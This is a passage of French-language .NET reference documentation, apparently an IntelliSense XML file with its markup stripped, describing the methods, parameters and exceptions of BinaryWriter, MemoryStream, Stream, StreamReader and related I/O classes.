le flux. + Caractère Unicode de non-substitution à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + est un caractère de substitution unique. + 1 + + + Écrit un tableau de caractères dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Tableau de caractères contenant les données à écrire. + + a la valeur null. + Le flux est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit dans le flux actuel une section d'un tableau de caractères et avance la position actuelle du flux en fonction du Encoding utilisé et éventuellement des caractères spécifiques écrits. + Tableau de caractères contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur décimale dans le flux actuel et avance la position du flux de 16 octets. + Valeur décimale à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Valeur à virgule flottante de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet signé dans le flux actuel et avance la position du flux d'un octet. + Octet signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Valeur à virgule flottante de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit dans ce flux une chaîne préfixée par sa longueur dans l'encodage actuel de et avance la position actuelle du flux en fonction de l'encodage utilisé et des caractères spécifiques écrits dans le flux. + Valeur à écrire. + Une erreur d'E/S se produit. + + a la valeur null. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier non signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier non signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier non signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un nombre entier 32 bits dans un format compressé. + Entier 32 bits à écrire. + La fin du flux est atteinte. + Le flux est fermé. + Le flux est fermé. + + + Exception levée en cas de tentative de lecture au-delà de la fin du flux. + 2 + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à un message fourni par le système et HRESULT équivaut à COR_E_ENDOFSTREAM. + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à et HRESULT équivaut à COR_E_ENDOFSTREAM. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié et une référence à l'exception interne ayant provoqué cette exception. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Exception qui est levée lorsque le format d'un flux de données n'est pas valide. + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié. + Message d'erreur indiquant la raison de l'exception. + + + Initialise une nouvelle instance de la classe avec une référence à l'exception interne qui est la cause de cette exception. + Message d'erreur indiquant la raison de l'exception. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Crée un flux dont le magasin de stockage est la mémoire.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à zéro. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié. + Tableau d'octets non signés à partir duquel créer le flux actuel. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région (index) spécifiée d'un tableau d'octets. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + + a la valeur null. + + ou est inférieur à zéro. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée et la possibilité d'appeler comme spécifié. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + true pour activer , qui retourne le tableau d'octets non signés à partir duquel le flux a été créé ; sinon, false. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à la valeur spécifiée. + Taille initiale du tableau interne, en octets. + + est négatif. + + + Obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 2 + + + Obtient ou définit le nombre d'octets alloués pour ce flux. + Longueur de la partie de la mémoire tampon qui peut être utilisée pour le flux. + La capacité définie correspond à une valeur négative ou est inférieure à la longueur actuelle du flux. + Le flux actuel est fermé. + set est appelé sur un flux dont la capacité ne peut pas être modifiée. + 2 + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro. + Jeton pour surveiller les demandes d'annulation. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplace la méthode afin qu'aucune action ne soit effectuée. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation. + Le flux a été supprimé. + + + Obtient la longueur du flux en octets. + Longueur du flux en octets. + Le flux est fermé. + 2 + + + Obtient ou définit la position actuelle dans le flux. + Position actuelle dans le flux. + La position correspond à une valeur négative ou à une valeur supérieure à . + Le flux est fermé. + 2 + + + Lit un bloc d'octets à partir du flux actuel et écrit les données dans une mémoire tampon. + Nombre total d'octets écrits dans la mémoire tampon.Ce total peut être inférieur au nombre d'octets demandés si ce nombre d'octets n'est pas actuellement disponible, ou égal à zéro si la fin du flux a été atteinte avant que des octets soient lus. + Quand cette méthode retourne un résultat, contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les caractères lus dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données à partir du flux actuel. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + + soustrait à la longueur de la mémoire tampon est inférieur à . + L'instance du flux actuel est fermée. + 2 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet dans le flux actuel. + Conversion du type (transtypage) de l'octet en , ou -1 si la fin du flux a été atteinte. + L'instance du flux actuel est fermée. + 2 + + + Définit la position dans le flux actuel à la valeur spécifiée. + Nouvelle position dans le flux, calculée en combinant le point de référence initial et le décalage. + Nouvelle position dans le flux.Elle est relative au paramètre et peut être positive ou négative. + Valeur de type , qui sert de point de référence à la recherche. + Tentative de recherche avant le début du flux. + + est supérieur à . + Un n'est pas valide. ou a entraîné des dépassements de capacité arithmétiques. + L'instance du flux actuel est fermée. + 2 + + + Définit la longueur du flux actuel à la valeur spécifiée. + Valeur à laquelle définir la longueur. + Le flux actuel n'est pas redimensionnable et est supérieur à la capacité actuelle.ou Le flux actuel ne prend pas en charge l'écriture. + + est négatif ou supérieur à la longueur maximale de , où la longueur maximale est ( - origine), et l'origine est l'index dans la mémoire tampon sous-jacente auquel commence le flux. + 2 + + + Écrit le contenu du flux dans un tableau d'octets, indépendamment de la propriété . + Nouveau tableau d'octets. + 2 + + + Retourne le tableau d'octets non signés à partir duquel ce flux a été créé.La valeur de retour indique si la conversion a réussi. + true si la conversion a réussi ; sinon, false. + Segment de tableau d'octets à partir duquel ce flux a été créé. + + + Écrit un bloc d'octets dans le flux actuel en utilisant des données lues dans une mémoire tampon. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre maximal d'octets à écrire. + + a la valeur null. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à moins de octets de la fin du flux et la capacité ne peut pas être modifiée. + + soustrait à la longueur de la mémoire tampon est inférieur à . + + ou est négatif. + Une erreur d'E/S se produit. + L'instance du flux actuel est fermée. + 2 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux actuel. + Octet à écrire. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à la fin du flux et la capacité ne peut pas être modifiée. + Le flux actuel est fermé. + 2 + + + Écrit le contenu complet de ce flux de mémoire dans un autre flux. + Flux dans lequel écrire ce flux de mémoire. + + a la valeur null. + Le flux en cours ou le flux cible est fermé. + 2 + + + Spécifie la position au sein d'un flux à utiliser pour la recherche. + 2 + + + Spécifie le début d'un flux. + + + Spécifie la position actuelle au sein d'un flux. + + + Spécifie la fin d'un flux. + + + Fournit une vue générique d'une séquence d'octets.Il s'agit d'une classe abstraite.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe . + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux prend en charge la lecture ; sinon, false. + 1 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux prend en charge la recherche ; sinon, false. + 1 + + + Obtient une valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + Valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + 2 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 1 + + + Lit les octets du flux actuel et les écrit dans un autre flux. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Flux vers lequel le contenu du flux actuel sera copié. + Taille de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et d'un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de remplacement dans une classe dérivée, efface toutes les mémoires tampons pour ce flux et provoque l'écriture de toutes les données se trouvant dans des mémoires tampons sur l'appareil sous-jacent. + Une erreur d'E/S se produit. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux, provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + Le flux a été supprimé. + + + En cas de remplacement dans une classe dérivée, obtient la longueur du flux en octets. + Valeur de type long représentant la longueur du flux en octets. + Une classe dérivée de Stream ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Élément Stream sans magasin de stockage. + 1 + + + En cas de remplacement dans une classe dérivée, obtient ou définit la position dans le flux actuel. + Position actuelle dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de remplacement dans une classe dérivée, lit une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Nombre total d'octets lus dans la mémoire tampon.Le nombre d'octets peut être inférieur au nombre d'octets demandés si ce nombre n'est pas actuellement disponible ou égal à zéro (0) si la fin du flux a été atteinte. + Tableau d'octets.Quand cette méthode retourne un résultat, la mémoire tampon contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les octets lus dans la source actuelle. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données lues dans le flux actuel. + Nombre maximal d'octets à lire dans le flux actuel. + La somme de et de est supérieure à la longueur de la mémoire tampon. + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet du flux et avance d'un octet la position au sein du flux, ou retourne -1 si la fin du flux a été atteinte. + Conversion de type (transtypage) de l'octet non signé en Int32, ou -1 si la fin du flux a été atteinte. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant d’expiration du délai d’attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + En cas de remplacement dans une classe dérivée, définit la position dans le flux actuel. + Nouvelle position dans le flux actuel. + Offset d'octet par rapport au paramètre . + Valeur de type indiquant le point de référence utilisé pour obtenir la nouvelle position. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de substitution dans une classe dérivée, définit la longueur de flux actuel. + Longueur souhaitée du flux actuel en octets. + Une erreur d'E/S se produit. + Le flux ne prend en charge ni l'écriture, ni la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + En cas de remplacement dans une classe dérivée, écrit une séquence d'octets dans le flux actuel et avance la position actuelle dans ce flux du nombre d'octets écrits. + Tableau d'octets.Cette méthode copie octets à partir de dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre d'octets à écrire dans le flux actuel. + La somme des  et  est supérieure à la longueur du tampon. + + est null. + + ou  est un nombre négatif. + Une erreur d'e/s est survenue, tels que le fichier spécifié est introuvable. + Le flux ne prend pas en charge l'écriture. + + a été appelée une fois que le flux a été fermé. + 1 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position actuelle dans le flux du nombre d'octets écrits. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux et avance d'un octet la position dans le flux. + Octet à écrire dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant l’expiration du délai d'attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + Implémente qui lit les caractères à partir d'un flux d'octets dans un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié. + Flux à lire. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'option de détection de la marque d'ordre d'octet spécifiée. + Flux à lire. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères spécifié. + Flux à lire. + Encodage des caractères à utiliser. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères et l'option de détection de la marque d'ordre d'octet spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères, l'option de détection de la marque d'ordre d'octet et la taille de mémoire tampon spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + Taille minimale de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + + ou a la valeur null. + + est inférieur ou égal à zéro. + + + Initialise une nouvelle instance de la classe pour le flux spécifié en fonction de l'encodage de caractères, de l'option de détection de la marque d'ordre d'octet et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à lire. + Encodage des caractères à utiliser. + true pour rechercher les marques d'ordre d'octet au début du fichier ; sinon, false. + Taille minimale de la mémoire tampon. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + + Retourne le flux sous-jacent. + Flux sous-jacent. + 2 + + + Obtient l'encodage de caractères actuel utilisé par l'objet actuel. + Encodage des caractères actuel utilisé par le lecteur en cours.La valeur peut être différente après le premier appel à toute méthode de , car la détection automatique de l'encodage n'est effectuée qu'au premier appel à une méthode . + 2 + + + Efface la mémoire tampon interne. + 2 + + + Ferme le flux sous-jacent, libère les ressources non managées utilisées par l'élément et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Obtient une valeur qui indique si la position actuelle dans le flux est à la fin du flux. + true si la position actuelle dans le flux est à la fin du flux ; sinon, false. + Le flux sous-jacent a été supprimé. + 1 + + + Objet autour d'un flux vide. + 1 + + + Retourne le caractère disponible suivant, mais ne le consomme pas. + Entier représentant le caractère suivant à lire, ou -1 s'il n'y a pas de caractère à lire ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant dans le flux d'entrée et avance la position d'un caractère. + Caractère suivant du flux d'entrée, représenté sous la forme d'un objet , ou -1 s'il n'y a plus de caractère disponible. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal de caractères spécifié du flux actuel dans une mémoire tampon, en commençant à l'index spécifié. + Le nombre de caractères qui ont été lus, ou 0 si c'est la fin du flux et qu'aucune donnée n'a été lue.Le nombre sera inférieur ou égal à la valeur du paramètre , selon que les données sont, ou non, disponibles dans le flux. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Index de auquel commencer l'écriture. + Nombre maximal de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S, telle que la fermeture du flux, se produit. + 1 + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode en cours se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du flux actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus ou non. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S s'est produite. + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères du flux actuel et retourne les données sous forme de chaîne. + Ligne suivante du flux d'entrée, ou null si la fin du flux d'entrée est atteinte. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit une ligne de caractères de manière asynchrone dans le flux actuel et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante du flux, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du flux. + Le reste du flux sous forme de chaîne, de la position actuelle jusqu'à la fin.Si la position actuelle est à la fin du flux, retourne une chaîne vide (""). + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit tous les caractères entre la position actuelle et la fin du flux de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères allant de la position actuelle à la fin du flux. + Le nombre de caractères est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + 